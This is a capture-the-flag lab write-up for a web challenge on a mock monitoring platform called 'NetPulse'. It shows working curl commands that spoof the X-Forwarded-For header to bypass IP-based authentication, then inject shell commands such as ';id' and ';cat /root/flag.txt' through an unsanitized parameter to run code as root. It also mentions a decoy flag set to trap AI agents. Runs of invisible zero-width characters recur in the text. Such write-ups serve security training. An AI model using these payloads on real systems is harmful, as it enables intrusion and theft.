← Back to Writeups
CUSTOMMediumWeb

Lab 322 — NetPulse — IP Spoofing to RCE via Polling Agent API

XESXOR9/10/20264 min read
#web#custom#medium#command_injection_via_unsaniti#honeypot_flag_detection#internal_api_abuse#ip_based_authentication_bypass#ip_spoofing_via_x_forwarded_fo#script_data_source_exploitatio#linux

Lab 322 — NetPulse — IP Spoofing to RCE via Polling Agent API

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: command_injection_via_unsanitized_parameter, honeypot_flag_detection, internal_api_abuse, ip_based_authentication_bypass, ip_spoofing_via_x_forwarded_for_header, script_data_source_exploitation

Summary

Task: NetPulse monitoring platform with internal Agent API protected by IP-based authentication behind nginx; script-type data sources execute shell commands with unsanitized parameters. Solution: spoof source IP via X-Forwarded-For: 127.0.0.1 to access agent API, then inject OS commands through poller_id parameter in script data source execution to read /root/flag.txt.

Lab 322 — NetPulse — IP Spoofing to RCE via Polling Agent API — HackAdvisor

Description

NetPulse is an infrastructure monitoring platform built by PulseMetrics Inc. It provides real-time device monitoring, uptime tracking, performance graphing, and alerting for network devices and servers. The platform includes a web dashboard for viewing metrics and managing monitored infrastructure, along with an agent-based polling system for data collection. Polling agents communicate with the server through an internal API to submit and retrieve monitoring data. The goal is to find and exploit vulnerabilities in the platform to read the flag file stored on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: https://efd1b17f-37fa-4d7c-9100-84466009f385.labs.hackadvisor.io/ Credentials: user@test.com / password123 Tech Stack: Express.js (Node.js), nginx/1.25.5

English summary: NetPulse is a Node.js/Express monitoring platform behind nginx. It has a web dashboard for device monitoring and an internal Agent API (/api/agent/polldata) used by polling agents to collect data. The API uses IP-based authentication — only requests from registered poller IPs (127.0.0.1, 10.1.0.50) are allowed. Because nginx passes X-Forwarded-For to Express which trusts it for client IP determination, the IP check can be spoofed. Script-type data sources (action_type: 2) execute shell commands with user-supplied parameters interpolated without sanitization, leading to command injection and RCE. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

After logging in with user@test.com / password123, explored the application:

  1. Dashboard (/) — Infrastructure monitoring overview showing 10 monitored devices with status, alerts, and performance metrics.

  2. Devices (/devices) — List of monitored network devices and servers with SNMP, ICMP, and Script data sources.

  3. Alerts (/alerts) — Alert history for monitored infrastructure.

  4. Pollers (/pollers) — Documents the internal Agent API and lists registered polling agents:

    • Poller #1: "Local Poller (default)" — IP: 127.0.0.1, active
    • Poller #2: "DC-West Poller" — IP: 10.1.0.50, inactive ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  5. Settings (/settings) — Read-only for non-admin users. Current user: "Sarah Rivera" (operator role).

  6. Decoy Flag — FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden HTML comments and off-screen divs on every page — a honeypot designed to trick automated scanners and AI agents. Correctly identified and ignored.

Agent API Documentation (from /pollers page)

  • Endpoint: GET /api/agent/polldata
  • Authorization: IP-based — requests must originate from an IP matching a registered poller
  • Parameters:
    • action — status or polldata
    • host_id — target device ID
    • local_data_ids[] — data source IDs to poll
    • poller_id — poller identifier ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Chain

  1. IP Spoofing: nginx passes X-Forwarded-For header to Express, which trusts it for determining client IP. Adding X-Forwarded-For: 127.0.0.1 bypasses the IP-based authentication.

  2. Command Injection: Script-type data sources (action_type: 2) execute shell commands like /usr/local/bin/check_metrics.sh --host 10.0.20.5 --poller-id <poller_id>. The poller_id parameter is interpolated directly into the command string without sanitization, allowing shell metacharacter injection. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: IP Spoofing to Access Agent API

Verified that adding X-Forwarded-For: 127.0.0.1 grants access to the internal API:

bash
curl -s "https://TARGET/api/agent/polldata?action=status&poller_id=1" \
  -H "X-Forwarded-For: 127.0.0.1"
# Response: {"status":"ok","poller":"Local Poller (default)",...}

No authentication cookies needed — the API only checks the source IP.

Step 2: Discover Script Data Source

Device 5 (Database Master, db-master.pulsemetrics.net) has a script-type data source:

  • Data source #12: Script (action_type: 2) — "Script metrics - Database Master"
  • Executes: /usr/local/bin/check_metrics.sh --host 10.0.20.5 --poller-id 1 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
bash
curl -s "https://TARGET/api/agent/polldata?action=polldata&host_id=5&local_data_ids[]=12&poller_id=1" \
  -H "X-Forwarded-For: 127.0.0.1"
# Response shows script execution attempt (script not found but mechanism is active)

Step 3: Command Injection via poller_id

The poller_id value is concatenated into the shell command without sanitization. Using shell metacharacters (;) to inject additional commands:

bash
# Verify RCE
curl -s "https://TARGET/api/agent/polldata?action=polldata&host_id=5&local_data_ids[]=12&poller_id=1;id" \
  -H "X-Forwarded-For: 127.0.0.1"
# Response: uid=0(root) gid=0(root) groups=0(root),...

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Extract Flag

bash
curl -s "https://TARGET/api/agent/polldata?action=polldata&host_id=5&local_data_ids[]=12&poller_id=1;cat+/root/flag.txt" \
  -H "X-Forwarded-For: 127.0.0.1"
# Response: FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍